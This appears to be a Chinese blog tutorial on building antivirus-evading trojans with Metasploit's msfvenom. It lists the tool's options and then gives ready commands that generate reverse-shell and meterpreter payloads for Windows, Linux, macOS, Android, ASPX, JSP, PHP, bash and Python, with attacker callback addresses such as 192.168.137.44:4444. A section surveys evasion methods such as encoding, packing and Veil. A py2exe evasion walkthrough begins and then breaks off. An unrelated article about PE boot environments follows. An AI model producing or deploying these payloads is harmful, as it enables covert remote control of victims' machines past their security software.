使用Metasploit的msfvenom功能制作防检测的恶意软件
最编程
2024-08-04 14:15:25
...
msfvenom命令的参数
Options:
-l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--list-options # 列出--payload <value> 的标准,高级和规避选项
-f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
--smallest # 使用所有可用的编码器生成最小的payload
--encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key <value> # 用于加密的密钥
--encrypt-iv <value> # 加密的初始化向量
-a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出)
--platform <platform> # 指定目标系统平台 (使用 --list platforms 列出)
-o, --out <path> # 保存payload文件
-b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
-n, --nopsled <length> # 指定 nop 在 payload 中的数量
-s, --space <length> # 设置未经编码的 Payload 的最大长度
--encoder-space <length> # 编码后的 Payload 的最大长度
-i, --iterations <count> # 设置 Payload 的编码次数
-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件
-x, --template <path> # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help # 帮助
msfvenom生成shellcode
命令格式:
#普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
#编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
使用msfvenom --list archs
查看支持的系统架构
aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
使用msfvenom --list platforms
查看支持系统平台
aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
常用命令
- Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
- Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
- Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
- Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
- Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
- JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
- PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
- BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
- Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
木马免杀
免杀总结一下大概有以下几种方法:
- 编码
- 加壳
- 先生成c源码,再编译成exe
- 利用工具(Veil,TheFatHat等)
姿势1:Py2exe生成exe
- 生成shellcode
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.137.44 lport=4444 -f raw -o shell.py
-
环境准备
(1)安装Python 2.7 x86 windows版:
https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
PS:必须使用x86版本Python 2.7。 即使Windows是x64的,也要安装32位版本。
(2)安装32位Py2exe for python 2.7:
推荐阅读
-
使用Metasploit的msfvenom功能制作防检测的恶意软件
-
[【科普来了】一文读懂PE:什么是PE,PE怎么用?......- I. 什么是 PE? PE的英文全称是Preinstallation Environment,翻译过来就是预装环境。有了这个名字就好理解了,可以直接说它是一个预装的、微型的或精简版的系统。它的体积非常小,大多数 PE 通常只有一两百兆,通常我们可以把它安装在 U 盘或移动硬盘上,随身携带,在任何电脑上启动它。无需依赖电脑上的原始系统。 二、PE 可以做什么? 网上的 PE 工具大多是由很多喜欢折腾电脑的玩家或团队制作的,根据制作者和团队的不同,PE 的功能也会有所不同。但核心的系统安装、系统备份还原、硬盘分区、启动修复之类的系统维护功能还是有的,而且大多差别不大。 区别基本在于集成维护工具的数量,比如一个简单的系统安装功能,可以通过很多工具来实现,不同 PE 之间的区别仅在于工具数量和工具版本的新旧。 其次,一些常用的工具还有开机密码去除、硬件检测等功能,还有一个实用的功能就是文件强制删除,相信有些小伙伴在删除文件时会遇到出现权限不足等提示而无法删除,在PE中就不会出现这样的情况,因为PE是默认以最高权限运行的,对于这类情况可以直接删除。 一些功能比较丰富的 PE 还会具备联网功能,以及集成一些常用软件(如 Office),如果只是临时使用,甚至可以把它当作一个正常的系统来使用。 三、使用 PE 安装系统的好处? 首先当然是如上所述,PE 功能齐全,类似硬盘分区等操作你都可以在装系统之前提前搞定,避免了装完系统之后还要一步步去搞定的麻烦。 其次,个人觉得最方便的就是可以用最简单的方法一次性创建多系统启动盘。 用U盘装系统的朋友应该都知道,在制作启动U盘时一般一个系统只能写入一次,比如你只有一个U盘,你要装Win10就要制作一个启动盘,要装Win7又要重新制作一个,而且每次都要格式化,非常不方便。虽然也有制作一体化镜像,然后一次性写入的方法,但操作起来太麻烦、太繁琐。 有了 PE,就可以避免这种麻烦,只需把 PE 写入 U 盘,然后把需要安装的系统镜像都放到 U 盘里,只要 U 盘空间足够,想放多少就放多少,避免了因为安装不同系统而反复制作启动盘的麻烦。而且,由于制作一次后无需格式化,你还可以在 U 盘中放入其他数据,而不必担心文件丢失。 四、可靠的好 PE 推荐 其实,PE工具虽然有很多种,但其实功能都差不多,无非就是更新的快慢而已。 但关键在于靠谱,什么叫靠谱呢?虽然都能用,功能也全,但有的夹杂着 "私货"。说白了,就是捆绑软件,或者捆绑主页,或者怎么卸载都不干净的那种。